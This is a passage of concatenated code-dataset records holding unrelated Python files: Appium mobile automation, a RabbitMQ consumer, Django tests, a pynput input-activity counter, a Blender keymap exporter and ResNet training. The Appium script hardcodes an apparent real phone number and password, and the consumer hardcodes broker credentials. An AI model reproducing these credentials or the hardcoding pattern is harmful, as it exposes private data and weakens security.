"attribute"}, {"api_name": "json.loads", "line_number": 33, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 42, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 43, "usage_type": "call"}]} +{"seq_id": "283449636", "text": "\"\"\"\n1、usb连接了一个设备(android5.1)到电脑端，开启了USB调试模式\n2、appium server --(android/IOS)\n3、python代码\n\n任务：通过写一段python代码，在android设备上，打开 柠檬班app.\n\n1、你告诉appium server，你要在XX设备上，打开XXapp\n2、appium收到你的命令之后，检测一下是否有XX设备，检测一下设备上是否有XXapp\n3、2)确认成功，就执行命令。\n\n获取应用包名和入口activity：aapt命令\naapt目录：\n安卓sdk的build-tools目录下\n示例：adt-bundle-windows-x86_64-20140702\\sdk\\build-tools\\android-4.4W\n命令语法：\naapt dump badging apk应用名\n示例：aapt dump badging D:\\BaiduNetdiskDownload\\Future-release-2018.apk\n\"\"\"\nimport time\nfrom Common.base import Base\nfrom elelocation.nmb_home_page import Home as ec\nfrom appium import webdriver\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom appium.webdriver.common.mobileby import MobileBy\nname ={\"sjh\":\"15831268320\",\"pws\":268320}\ndesired_caps = {\n \"automationName\":\"uiautomator2\", # 自动化引擎,不设置的话,默认为appium.\n \"platformName\":\"Android\", # 操作系统\n \"platformVersion\":\"5.1.1\", # 系统版本号\n \"deviceName\":\"vivo\", # 设备名称\n \"noReset\":True, # 应用不重置\n # app: 独一无二的包名. 入口页面: activity\n \"appPackage\": \"com.lemon.lemonban\", # 包名\n \"appActivity\": \"com.lemon.lemonban.activity.WelcomeActivity\" # 入口页面: activity\n}\n\n# 与appium server建立连接\ndriver = webdriver.Remote('http://127.0.0.1:4723/wd/hub',desired_caps)\nwait = WebDriverWait(driver,20)\nys = (MobileBy.ID,'com.lemon.lemonban:id/navigation_my')\nwait.until(EC.visibility_of_element_located(ys))\n# driver.find_element_by_android_uiautomator('new UiSelector().resourceId(\"com.lemon.lemonban:id/navigation_my\")').click()\n\nme = (MobileBy.ANDROID_UIAUTOMATOR, 'new UiSelector().text(\"我的柠檬\")')\ndriver.find_element(*me).click()\ntime.sleep(1)\ndriver.start_activity(\"com.xxzb.fenwoo\",\"com.xxzb.fenwoo.activity.addition.WelcomeActivity\")\ntime.sleep(1)\n\n# signin = (MobileBy.ID, 'com.lemon.lemonban:id/fragment_my_lemon_avatar_layout')\n# wait.until(EC.visibility_of_element_located(signin))\n# driver.find_element(*signin).click()\n#\n# dl = (MobileBy.ID, 'com.lemon.lemonban:id/btn_login')\n# wait.until(EC.visibility_of_element_located(dl))\n# driver.find_element(*dl).click()\n#\n# loc = (MobileBy.XPATH,'//*[contains(@text,\"手机号码或密码\")]')\n# wait.until(EC.presence_of_element_located(loc))\n# asa = driver.find_element(*loc).text\n# print(asa)\n\n\n", "sub_path": "study/20191220.py", "file_name": "20191220.py", "file_ext": "py", "file_size_in_byte": 2638, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "appium.webdriver.Remote", "line_number": 40, "usage_type": "call"}, {"api_name": "appium.webdriver", "line_number": 40, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.wait.WebDriverWait", "line_number": 41, "usage_type": "call"}, {"api_name": "appium.webdriver.common.mobileby.MobileBy.ID", "line_number": 42, "usage_type": "attribute"}, {"api_name": "appium.webdriver.common.mobileby.MobileBy", "line_number": 42, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.expected_conditions.visibility_of_element_located", "line_number": 43, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 43, "usage_type": "name"}, {"api_name": "appium.webdriver.common.mobileby.MobileBy.ANDROID_UIAUTOMATOR", "line_number": 46, "usage_type": "attribute"}, {"api_name": "appium.webdriver.common.mobileby.MobileBy", "line_number": 46, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 48, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 50, "usage_type": "call"}]} +{"seq_id": "625204594", "text": "import pika\nimport json\nimport random\nimport requests\nimport socket\nimport time\nimport sys\n\n'''bind_port = 8888\nbind_ip = \"0.0.0.0\"\nmax_ins = 3\nlb_ip = '172.24.4.'\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind((bind_ip, bind_port))\nserver.listen(100)\nprint(\"Listening on {ip}:{port}\".format(ip=bind_ip, port=bind_port))\n\nwhile True:\n #while self.print_info_flag == 1:\n # pass \n #self.print_info_flag = 1\n client, addr = server.accept()\n #print(\" ++ Accepted connection from: {ip}:{port}\".format(ip=addr[0].decode(), port=addr[1]))\n request = client.recv(1024)\n ins_no = request.decode().split('.')[1]\n message = 'ACK.'\n client.send(message.encode())\n client.close()\n server.close()\n break\n \nprint(ins_no)\nlb_ip = lb_ip + str(int(200+((int(ins_no)-1)/max_ins)+1))'''\n\nlb_ip = '172.24.4.' + str(int(100+int(sys.argv[1])))\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nresult = sock.connect_ex(('127.0.0.1',8080))\nwhile result != 0:\n result = sock.connect_ex(('127.0.0.1',8080))\n #if result == 0:\n #print(\"Port is open\")\n #break\n #else:\n #print(\"Port is not open\")\n #continue\nprint(\"Port is open\")\ntime.sleep(10)\n\ncredentials = pika.PlainCredentials(\"admin\",\"0000\")\n#connection = pika.BlockingConnection(pika.ConnectionParameters(host='172.24.4.184',credentials=credentials))\nconnection = pika.BlockingConnection(pika.ConnectionParameters(lb_ip, 5672, '/', credentials))\nchannel = connection.channel()\nchannel.queue_declare(queue='rpc_queue')\n\n\ndef forward_traffic(request_data):\n url = 'http://localhost:8080/~/in-cse/in-name/SENSOR/DATA'\n headers = {'X-M2M-Origin':'admin:admin', 'Content-Type':'application/xml;ty=4'}\n response = requests.post(url, data=request_data, headers=headers)\n #print(response.status_code)\n return str(response.status_code)\n\ndef on_request(ch, method, props, body):\n #request = json.loads(body.decode())\n response = forward_traffic(body)#request)\n\n ch.basic_publish(exchange='',\n routing_key=props.reply_to,\n properties=pika.BasicProperties(correlation_id = \\\n props.correlation_id),\n body=str(response))\n ch.basic_ack(delivery_tag=method.delivery_tag)\n\nchannel.basic_qos(prefetch_count=1)\nchannel.basic_consume(queue='rpc_queue', on_message_callback=on_request)\nprint(\" [x] Awaiting RPC requests\")\nchannel.start_consuming()\n", "sub_path": "RPC_Consumer_low.py", "file_name": "RPC_Consumer_low.py", "file_ext": "py", "file_size_in_byte": 2509, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.argv", "line_number": 36, "usage_type": "attribute"}, {"api_name": "socket.socket", "line_number": 38, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 38, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 38, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 49, "usage_type": "call"}, {"api_name": "pika.PlainCredentials", "line_number": 51, "usage_type": "call"}, {"api_name": "pika.BlockingConnection", "line_number": 53, "usage_type": "call"}, {"api_name": "pika.ConnectionParameters", "line_number": 53, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 61, "usage_type": "call"}, {"api_name": "pika.BasicProperties", "line_number": 71, "usage_type": "call"}]} +{"seq_id": "500703582", "text": "#!/usr/bin/env python3\n\nimport h5py\nimport numpy as np\nimport sys\n\nsys.argv.pop(0)\ntry:\n path = sys.argv.pop(0)\nexcept IndexError:\n sys.stderr.write(\"explore.py: needs h5 file\\n\")\n sys.exit(2)\ntry:\n f = h5py.File(path, \"r\")\nexcept OSError:\n sys.stderr.write(\"explore.py: fail to open '%s'\\n\" % path)\n sys.exit(2)\n\nclimbs = f[\"climbs\"]\nt0 = climbs[\"all\"][\"start_time\"]\nprint(climbs[\"all\"][\"duration\"])\n\nprint(climbs[\"0\"][\"moves_LH\"][\"start_time\"] - t0)\nprint(climbs[\"0\"][\"moves_LH\"][\"end_time\"] - t0)\n\n \nf.close()\n", "sub_path": "process.py", "file_name": "process.py", "file_ext": "py", "file_size_in_byte": 538, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "sys.argv.pop", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 7, "usage_type": "attribute"}, {"api_name": "sys.argv.pop", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.stderr.write", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 11, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 12, "usage_type": "call"}, {"api_name": "h5py.File", "line_number": 14, "usage_type": "call"}, {"api_name": "sys.stderr.write", "line_number": 16, "usage_type": "call"}, {"api_name": "sys.stderr", "line_number": 16, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 17, "usage_type": "call"}]} +{"seq_id": "38377654", "text": "#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n#\n# client.py\n# \n# Copyright 2020 Eduardo Martins Lopes \n# \n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n# \n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301, USA.\n# \n# \n\n\n\nclass cliente:\n\t\n\tdef __init__(self, mach, porta):\n\t\timport rpyc, data, erros, sys, time\n\t\t\n\n\t\terrors = erros.logger(\"cliente_erros.log\");\n\t\terrors.calee = \"cliente.py\";\n\t\ttry:\n\t\t\tself.con = rpyc.connect(mach,port=porta);\n\t\t\tself.bgsrv = rpyc.BgServingThread(self.con)\n\t\texcept:\n\t\t\terrors.reg(\"Server not available, check connection\", 3)\n\t\t\tsys.exit();\n\t\tself.fetcher = data.Fetcher(1);\n\t\tself.fetcher.work_start();\n\t\tself.datalogger = True\n\t\n\tdef fetch_work(self, timer):\n\t\timport time;\n\t\tif len(self.fetcher.summary) == 0:\n\t\t\tself.con.root.Machine(self.fetcher.summary[\"name\"], 7200, self.fetcher.fetch)\n\t\twhile len(self.fetcher.summary) == 0:\n\t\t\ttime.sleep(timer)\n\t\t\tself.fetcher.update_data();\n\t\t\n\t\tself.con.root.Machine(self.fetcher.summary[\"name\"], 7200, self.fetcher.update_data);\n\t\t\n\n\t\n\tdef datalog(self):\n\t\tfrom time import sleep\n\t\twhile self.datalogger:\n\t\t\t\n\t\t\t#self.data_sum = self.fetcher.update_data();\n\t\t\t#self.con.root.reg_workstation(self.data_sum)\n\t\t\tsleep(1);\n\t\t\n\t\t\n\t\t\n\t\t\n\nif __name__ == '__main__':\n\t\n\tfrom multiprocessing import Process\n\t\n\tclient = cliente(\"Motorhome\", 8082);\n\t\n\tfetch_thread = Process(target=client.fetch_work, args=(1,))\n\tfetch_thread.start()\n\t\n\t\n\n", "sub_path": "rpyc-gridengine/ticker/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 2153, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "erros.logger", "line_number": 33, "usage_type": "call"}, {"api_name": "rpyc.connect", "line_number": 36, "usage_type": "call"}, {"api_name": "rpyc.BgServingThread", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 40, "usage_type": "call"}, {"api_name": "data.Fetcher", "line_number": 41, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 50, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 63, "usage_type": "call"}, {"api_name": "{'rpyc': 'rpyc', 'data': 'data', 'erros': 'erros', 'sys': 'sys', 'time': 'time', 'sleep': 'time.sleep'}", "line_number": 73, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 75, "usage_type": "call"}]} +{"seq_id": "432554458", "text": "import json\nfrom django.urls import reverse\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework.test import APITestCase\nfrom .models import Overland, Seafreight, Airfreight\nfrom shipments.serializers import OverlandSerializer, SeafreightSerializer, AirfreighttSerializer\n\nclass TestOverlandtCreate(APITestCase):\n def test_user_can_post_new_roadfreight(self):\n \"\"\"\n Ensure we can create a new shipment object.\n \"\"\"\n url = reverse('overland-list')\n data = {\n 'KNReference': '0000-1111-222.333',\n 'CustomerReference':'ABCabc0000!',\n 'Package':'01234567',\n 'ShipmentNo':'1234567891234'\n }\n response = self.client.post(url, data, format='json')\n self.assertEqual(response.status_code, status.HTTP_201_CREATED)\n self.assertEqual(Overland.objects.count(), 1)\n self.assertEqual(Overland.objects.get().KNReference, '0000-1111-222.333')\n self.assertEqual(Overland.objects.get().CustomerReference, 'ABCabc0000!')\n self.assertEqual(Overland.objects.get().Package, '01234567')\n self.assertEqual(Overland.objects.get().ShipmentNo, '1234567891234')\n\n\nclass OverlandDetail(APITestCase):\n\n def setUp(self):\n self.overland = Overland.objects.create(KNReference='0000-1111-222.333',\n CustomerReference='ABCabc0000!',\n Package= '01234567',\n ShipmentNo= '1234566666999')\n self.url = reverse(\"overland-detail\", kwargs={\"pk\": self.overland.pk})\n # print(self.url)\n\n def test_overland_object_update(self):\n response = self.client.put(self.url, {'KNReference': '0000-1111-333.333',\n 'CustomerReference':'ABCabc0000!',\n 'Package':'01234567',\n 'ShipmentNo':'1234567866234'})\n self.assertEqual(response.status_code, 200)\n\n response_data = json.loads(response.content)\n overland = Overland.objects.get(id=Overland.objects.get().id)\n #print(response_data.get(\"HouseAirwayBill\"))\n self.assertEqual(response_data.get(\"KNReference\"), overland.KNReference)\n\n def test_overland_object_delete(self):\n response = self.client.delete(self.url)\n self.assertEqual(204, response.status_code)", "sub_path": "shipments/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 2567, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "rest_framework.test.APITestCase", "line_number": 10, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 15, "usage_type": "call"}, {"api_name": "rest_framework.status.HTTP_201_CREATED", "line_number": 23, "usage_type": "attribute"}, {"api_name": "rest_framework.status", "line_number": 23, "usage_type": "name"}, {"api_name": "models.Overland.objects.count", "line_number": 24, "usage_type": "call"}, {"api_name": "models.Overland.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "models.Overland", "line_number": 24, "usage_type": "name"}, {"api_name": "models.Overland.objects.get", "line_number": 25, "usage_type": "call"}, {"api_name": "models.Overland.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "models.Overland", "line_number": 25, "usage_type": "name"}, {"api_name": "models.Overland.objects.get", "line_number": 26, "usage_type": "call"}, {"api_name": "models.Overland.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "models.Overland", "line_number": 26, "usage_type": "name"}, {"api_name": "models.Overland.objects.get", "line_number": 27, "usage_type": "call"}, {"api_name": "models.Overland.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "models.Overland", "line_number": 27, "usage_type": "name"}, {"api_name": "models.Overland.objects.get", "line_number": 28, "usage_type": "call"}, {"api_name": "models.Overland.objects", "line_number": 28, "usage_type": "attribute"}, {"api_name": "models.Overland", "line_number": 28, "usage_type": "name"}, {"api_name": "rest_framework.test.APITestCase", "line_number": 31, "usage_type": "name"}, {"api_name": "models.Overland.objects.create", "line_number": 34, "usage_type": "call"}, {"api_name": "models.Overland.objects", "line_number": 34, "usage_type": "attribute"}, {"api_name": "models.Overland", "line_number": 34, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 38, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 48, "usage_type": "call"}, {"api_name": "models.Overland.objects.get", "line_number": 49, "usage_type": "call"}, {"api_name": "models.Overland.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "models.Overland", "line_number": 49, "usage_type": "name"}]} +{"seq_id": "77338473", "text": "import numpy as np\nimport matplotlib.pyplot as plt\n\n\nfig = plt.figure()\nX = np.linspace(-10,10,100)\n\ndef sigmoid(X):\n\treturn 1./(1+np.exp(-X))\n\ndef tanh(X):\n\treturn np.arctan(X)\n\ndef relu(X):\n\tY = X.copy()\n\tY[X<0] = 0\n\treturn Y\nax = fig.add_subplot(1,3,1)\nax.plot(X,sigmoid(X),label='sigmoid')\nax.plot(X,sigmoid(X)*(1-sigmoid(X)),label='derivative')\nax.set_title(\"Sigmoid\")\n\nax = fig.add_subplot(1,3,2)\nax.plot(X,tanh(X),label='tanh')\nax.plot(X,(1-tanh(X)**2),label='derivative')\nax.set_title(\"tanh\")\n\nax = fig.add_subplot(1,3,3)\nax.plot(X,relu(X),label='relu')\nax.plot(X,X>0,label='derivative')\nax.set_title(\"tanh\")\n\nplt.legend()\nplt.show()\n", "sub_path": "SMAI/SMAI_hw_17/3.py", "file_name": "3.py", "file_ext": "py", "file_size_in_byte": 642, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 5, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 5, "usage_type": "name"}, {"api_name": "numpy.linspace", "line_number": 6, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.arctan", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 33, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}]} +{"seq_id": "381123406", "text": "from pynput.mouse import Listener as MouseListener\nfrom pynput.keyboard import Listener as KeyboardListener\nimport pandas as pd\nimport time\nfrom datetime import datetime\nimport os\n\n#Class to count the actions\nclass Counter:\n pulsations = 0\n clicks = 0\n moves = 0\n scrolls = 0\n def reset(self):\n self.pulsations = 0\n self.clicks = 0\n self.moves = 0\n self.scrolls = 0\n\ncounter = Counter\n\n\ndef on_press(key):\n counter.pulsations += 1\n\n\ndef on_move(x, y):\n counter.moves += 1\n\ndef on_click(x, y, button, pressed):\n if pressed:\n counter.clicks += 1\n\n\ndef on_scroll(x, y, dx, dy):\n counter.scrolls += 1\n\n\n# exported main method\ndef activitytrack(path, q, b, t):\n \n outputPath = path #path of the CSV output file\n #Setup the listener threads\n keyboard_listener = KeyboardListener(on_press=on_press, on_release=None)\n mouse_listener = MouseListener(on_move=on_move, on_click=on_click, on_scroll=on_scroll)\n\n # Start the threads and join them so the script doesn't end early\n keyboard_listener.start()\n mouse_listener.start()\n\n\n while True:\n time.sleep(t)\n date_time = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n pattern = \"%Y-%m-%d %H:%M:%S\"\n date = int(time.mktime(time.strptime(date_time, pattern)))\n element = {\"eventType\": 1, \"time\":date, \"clicks\":counter.clicks, \"pulsations\":counter.pulsations, \"moves\":counter.moves, \"scrolls\":counter.scrolls}\n q.put(element)\n \n #Only when CSV option is active\n if(b):\n df=pd.DataFrame([[datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"),counter.clicks,counter.pulsations, counter.moves, counter.scrolls]], columns=[\"date\",\"clicks\",\"pulsations\",\"moves\",\"scrolls\"],index=None)\n if not os.path.isfile(outputPath):\n df.to_csv(outputPath, index=None, header=True)\n else:\n df.to_csv(outputPath, index=None, mode='a', header=False)\n #Counter object is reset\n Counter.reset(counter)\n", "sub_path": "deb/opt/plica/uba/src/activitytrack.py", "file_name": "activitytrack.py", "file_ext": "py", "file_size_in_byte": 2035, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pynput.keyboard.Listener", "line_number": 44, "usage_type": "call"}, {"api_name": "pynput.mouse.Listener", "line_number": 45, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 54, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 54, "usage_type": "name"}, {"api_name": "time.mktime", "line_number": 56, "usage_type": "call"}, {"api_name": "time.strptime", "line_number": 56, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 62, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 62, "usage_type": "name"}, {"api_name": "os.path.isfile", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}]} +{"seq_id": "304259976", "text": "import os\nimport bpy\nfrom bpy_extras.io_utils import ExportHelper\nfrom .utils import pretty_json\n\n\nclass ExportKeymap(bpy.types.Operator, ExportHelper):\n \"\"\"\n Exports addon hotkeys to a JSON file\n \"\"\"\n bl_idname = \"power_sequencer.export_keymap\"\n bl_label = \"Export Keymap\"\n bl_desription = \"Exports current keymap settings to JSON file\"\n\n filename_ext = \".json\"\n\n def execute(self, context):\n self.filepath = os.path.abspath(self.filepath)\n found_op_ids = []\n json = {}\n\n kc = bpy.context.window_manager.keyconfigs['Blender Addon']\n for km in kc.keymaps:\n for kmi in km.keymap_items:\n if kmi.idname.startswith('power_sequencer') and kmi.active:\n name = km.name\n sp_t = km.space_type\n re_t = km.region_type\n id_n = kmi.idname\n\n if name not in json.keys():\n json[name] = {}\n\n if sp_t not in json[name].keys():\n json[name][sp_t] = {}\n\n if re_t not in json[name][sp_t].keys():\n json[name][sp_t][re_t] = {}\n\n if id_n not in json[name][sp_t][re_t].keys():\n json[name][sp_t][re_t][id_n] = {}\n\n key = str(len(json[name][sp_t][re_t][id_n]))\n hotkey_list = json[name][sp_t][re_t][id_n][key] = []\n\n hotkey_list.append(\"type=\" + kmi.type)\n\n if not kmi.value == \"PRESS\":\n hotkey_list.append(\"value=\" + kmi.value)\n if kmi.alt:\n hotkey_list.append(\"alt=\" + str(kmi.alt))\n if kmi.any:\n hotkey_list.append(\"any=\" + str(kmi.any))\n if kmi.shift:\n hotkey_list.append(\"shift=\" + str(kmi.shift))\n if kmi.ctrl:\n hotkey_list.append(\"ctrl=\" + str(kmi.ctrl))\n if kmi.key_modifier != \"NONE\":\n hotkey_list.append(\"key_modifier=\" + kmi.key_modifier)\n if kmi.oskey:\n hotkey_list.append(\"oskey=\" + str(kmi.oskey))\n\n if len(kmi.properties.items()) > 0:\n properties = []\n for key in kmi.properties.keys():\n value = getattr(kmi.properties, key)\n properties.append(''.join([key, ':', str(value)]))\n\n prop_str = \"properties=\" + ';'.join(properties)\n hotkey_list.append(prop_str)\n\n found_op_ids.append(kmi.idname)\n\n with open(self.filepath, 'w') as f:\n f.write(pretty_json(json))\n\n message = ' '.join(['Exported keymap to',\n os.path.basename(self.filepath)])\n self.report({'INFO'}, message)\n\n return {\"FINISHED\"}\n", "sub_path": "keymap/export_keymap.py", "file_name": "export_keymap.py", "file_ext": "py", "file_size_in_byte": 3007, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "bpy.types", "line_number": 7, "usage_type": "attribute"}, {"api_name": "bpy_extras.io_utils.ExportHelper", "line_number": 7, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 22, "usage_type": "attribute"}, {"api_name": "utils.pretty_json", "line_number": 75, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path", "line_number": 78, "usage_type": "attribute"}]} +{"seq_id": "440035129", "text": "import torch, torchvision\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport torchvision.datasets as datasets\nimport torch.utils.data as data\nimport torchvision.transforms as transforms\nfrom torch.autograd import Variable\nimport torchvision.models as models\n#from resnet18 import *\n#from resnet18IB import *\nfrom dataset import *\n#from densenet import *\n#import matplotlib.pyplot as plt\nimport time, os, copy, numpy as np\n#from livelossplot import PlotLosses\nfrom train_model import train_model\nfrom PIL import Image\nimport argparse\n#from prettytable import PrettyTable\n#import shutil\nclass Identity(nn.Module):\n def __init__(self):\n super().__init__()\n\n def forward(self, x):\n return x\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--origmodel\", type=str, default=\"\", help=\"Path to original model\")\nparser.add_argument(\"--origtrain\",type=str,default=\"\",help=\"Path to trained orginal model to retrain or check acc\")\nparser.add_argument(\"--val\",action='store_true', default=False,help=\"to only calidate\")\nparser.add_argument(\"--finetune_model\", type=str, default=\"\", help=\"Path to finetune_model model\")\nparser.add_argument(\"--resume\", type=str, default=\"\", help=\"Path to resume model\")\nparser.add_argument('--kml', type=int, nargs='+',default=[1/32], help='Variance for initializing IB parameters')\nparser.add_argument('--lr', type=float, default=1e-3, help='learning rate')\nparser.add_argument('--ib_lr', type=float, default=1e-3, help='learning rate')\nparser.add_argument('--weight_decay', type=float, default=1e-5, help='learning rate')\n\nopt = parser.parse_args()\nprint(opt)\n\n\ndata_transforms = {\n 'train': transforms.Compose([\n #transforms.RandomCrop(64, padding=4),\n transforms.Resize(224, Image.BICUBIC),\n transforms.RandomHorizontalFlip(), # randomly flip image horizontally\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.247, 0.243, 0.261))\n ]),\n 'val': transforms.Compose([\n transforms.Resize(224, Image.BICUBIC),\n #transforms.transforms.Resize(32),\n transforms.ToTensor(),\n #transforms.transforms.Resize(32),\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.247, 0.243, 0.261))\n ]),\n}\n\ndata_dir = 'tiny-imagenet-200'\nval_dataset = Dataset(os.path.join(data_dir, 'val/images'),os.path.join(data_dir, 'val','wnids.txt'),\n os.path.join(data_dir, 'val','val_annotations.txt'),dtransform= data_transforms['val'], training=False)\nimage_datasets = Dataset(os.path.join(data_dir, 'train'),os.path.join(data_dir, 'val','wnids.txt'), os.path.join(data_dir, 'val',\n 'val_annotations.txt'),dtransform= data_transforms['val'], training= True)\n\n#image_datasets = {'train': datasets.ImageFolder(os.path.join(data_dir, 'train'), data_transforms['train'])}\ndataloaders = {'train': torch.utils.data.DataLoader(image_datasets, batch_size=100, shuffle=True, num_workers=64),\n 'val': torch.utils.data.DataLoader(val_dataset, batch_size=32, shuffle=False, num_workers=64)}\n\ndataset_sizes = {'train': len(image_datasets), 'val': len(val_dataset)}\nprint(\"\\n dataset_size\", dataset_sizes)\n\nif not os.path.isdir('ResTinyimagenet_model'):\n os.makedirs('ResTinyimagenet_model')\n\"\"\"if not os.path.isdir('DenTinyimagenet_model'):\n os.makedirs('DenTinyimagenet_model')\"\"\"\n#model_ft = resnet18(pretrained=True)\nmodel_ft = models.resnet18(pretrained=True)\n#Finetune Final few layers to adjust for tiny imagenet input\nmodel_ft.avgpool = nn.AdaptiveAvgPool2d(1)\nnum_ftrs = model_ft.fc.in_features\nmodel_ft.fc = nn.Linear(num_ftrs, 200)\nif opt.origtrain !=\"\":\n state_d= torch.load(opt.origtrain)\n #print(\"\\n keys--> \",state_d.keys())\n model_ft.load_state_dict(torch.load(opt.origtrain))\n #print(\"\\n epoch=\", torch.load(opt.origtrain)[\"epoch\"])\n\n#model_ft.maxpool= nn.Sequential()\n#model_ft.conv1 = nn.Conv2d(3, 64, kernel_size=3, stride=1, padding=1, bias=False)\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nmodel_ft = model_ft.to(device)\n#state_dict = load_state_dict_from_url('https://download.pytorch.org/models/resnet18-5c106cde.pth')\n#model_ft.load_state_dict(state_dict)\nprint(' Total params: %.2fM' % (sum(p.numel() for p in model_ft.parameters())/1000000))\n \n#count_parameters(model_ft)\n#Multi GPU\n\n#model_ft = torch.nn.DataParallel(model_ft, device_ids=[0, 1])\n\n#Loss Function\ncriterion = nn.CrossEntropyLoss()\n# Observe that all parameters are being optimized\noptimizer_ft = optim.SGD(model_ft.parameters(), lr=0.001, momentum=0.9)\n#optimizer_ft = optim.Adam(model_ft.parameters(), lr=0.001)\n# Decay LR by a factor of 0.1 every 7 epochs\nexp_lr_scheduler = lr_scheduler.StepLR(optimizer_ft, step_size=7, gamma=0.1)\n\n#Train\nmodel_ft = train_model(model_ft, dataloaders, dataset_sizes, criterion, optimizer_ft, exp_lr_scheduler,\n num_epochs=200, val=opt.val)\n\n#torch.save(model.state_dict(), f\"'ResTinyimagenet_model'/{model.__class__.__name__}_acc{best_acc}.pth\")\n\n", "sub_path": "model/resnet_baseline_orig.py", "file_name": "resnet_baseline_orig.py", "file_ext": "py", "file_size_in_byte": 5077, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "torch.nn.Module", "line_number": 22, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "argparse.ArgumentParser", "line_number": 29, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 45, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 45, "usage_type": "name"}, {"api_name": "torchvision.transforms.Resize", "line_number": 47, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 47, "usage_type": "name"}, {"api_name": 